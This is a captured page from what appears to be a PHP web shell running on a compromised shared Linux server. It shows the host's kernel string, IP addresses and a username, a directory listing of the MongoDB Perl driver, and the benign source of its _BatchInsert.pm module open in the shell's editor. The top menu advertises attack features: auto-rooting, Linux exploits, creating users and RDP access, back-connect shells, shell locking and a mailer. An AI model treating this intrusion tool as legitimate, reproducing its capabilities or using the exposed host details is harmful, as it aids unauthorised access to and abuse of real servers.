Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.20
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
MongoDB /
Op /
[ HOME SHELL ]
Name
Size
Permission
Action
_Aggregate.pm
5.73
KB
-rw-r--r--
_BatchInsert.pm
3.4
KB
-rw-r--r--
_BulkWrite.pm
15.12
KB
-rw-r--r--
_ChangeStream.pm
6.22
KB
-rw-r--r--
_Command.pm
4.25
KB
-rw-r--r--
_Count.pm
2.08
KB
-rw-r--r--
_CreateIndexes.pm
3.26
KB
-rw-r--r--
_Delete.pm
3.45
KB
-rw-r--r--
_Distinct.pm
2.67
KB
-rw-r--r--
_DropCollection.pm
1.85
KB
-rw-r--r--
_DropDatabase.pm
1.48
KB
-rw-r--r--
_DropIndexes.pm
2.38
KB
-rw-r--r--
_EndTxn.pm
2.68
KB
-rw-r--r--
_Explain.pm
2.85
KB
-rw-r--r--
_FSyncUnlock.pm
2.63
KB
-rw-r--r--
_FindAndDelete.pm
2.82
KB
-rw-r--r--
_FindAndUpdate.pm
3.34
KB
-rw-r--r--
_GetMore.pm
2.78
KB
-rw-r--r--
_InsertOne.pm
2.58
KB
-rw-r--r--
_KillCursors.pm
4.29
KB
-rw-r--r--
_ListCollections.pm
4.16
KB
-rw-r--r--
_ListIndexes.pm
3.28
KB
-rw-r--r--
_ParallelScan.pm
1.86
KB
-rw-r--r--
_Query.pm
16.89
KB
-rw-r--r--
_RenameCollection.pm
1.73
KB
-rw-r--r--
_Update.pm
6.36
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : _BatchInsert.pm
# Copyright 2015 - present MongoDB, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. use strict; use warnings; package MongoDB::Op::_BatchInsert; # Encapsulate a multi-document insert operation; returns a # MongoDB::InsertManyResult use version; our $VERSION = 'v2.2.2'; use Moo; use MongoDB::InsertManyResult; use Tie::IxHash; use MongoDB::_Types qw( Boolish ); use Types::Standard qw( ArrayRef ); use namespace::clean; # may or may not have _id; will be added if check_keys is true has documents => ( is => 'ro', required => 1, isa => ArrayRef, ); has ordered => ( is => 'ro', required => 1, isa => Boolish, ); has check_keys => ( is => 'ro', required => 1, isa => Boolish, ); # starts empty and gets initialized during operations has _doc_ids => ( is => 'ro', writer => '_set_doc_ids', init_arg => undef, isa => ArrayRef, ); with $_ for qw( MongoDB::Role::_PrivateConstructor MongoDB::Role::_CollectionOp MongoDB::Role::_SingleBatchDocWrite MongoDB::Role::_InsertPreEncoder ); sub execute { my ( $self, $link ) = @_; my $documents = $self->documents; my $invalid_chars = $self->check_keys ? '.' : ''; my (@insert_docs, @ids); my $last_idx = $#$documents; for ( my $i = 0; $i <= $last_idx; $i++ ) { push @insert_docs, $self->_pre_encode_insert( $link->max_bson_object_size, $documents->[$i], $invalid_chars ); push @ids, $insert_docs[-1]{metadata}{_id}; } $self->_set_doc_ids(\@ids); # XXX have to check size of docs to insert and possibly split it # return ! $self->_should_use_acknowledged_write ? ( $self->_send_legacy_op_noreply( $link, MongoDB::_Protocol::write_insert( $self->full_name, join( "", map { $_->{bson} } @insert_docs ) ), \@insert_docs, "MongoDB::UnacknowledgedResult", "insert", ) ) : $link->supports_write_commands ? ( $self->_send_write_command( $link, Tie::IxHash->new( insert => $self->coll_name, documents => \@insert_docs, @{ $self->write_concern->as_args }, ), undef, "MongoDB::InsertManyResult", )->assert ) : ( $self->_send_legacy_op_with_gle( $link, MongoDB::_Protocol::write_insert( $self->full_name, join( "", map { $_->{bson} } @insert_docs ) ), \@insert_docs, "MongoDB::InsertManyResult", "insert", )->assert ); } sub _parse_cmd { my ( $self, $res ) = @_; return unless $res->{ok}; my $inserted = $self->_doc_ids; my $ids = [ map +{ index => $_, _id => $inserted->[$_] }, 0 .. $#{$inserted} ]; return ( inserted_count => scalar @$inserted, inserted => $ids ); } BEGIN { no warnings 'once'; *_parse_gle = \&_parse_cmd; } 1;
Close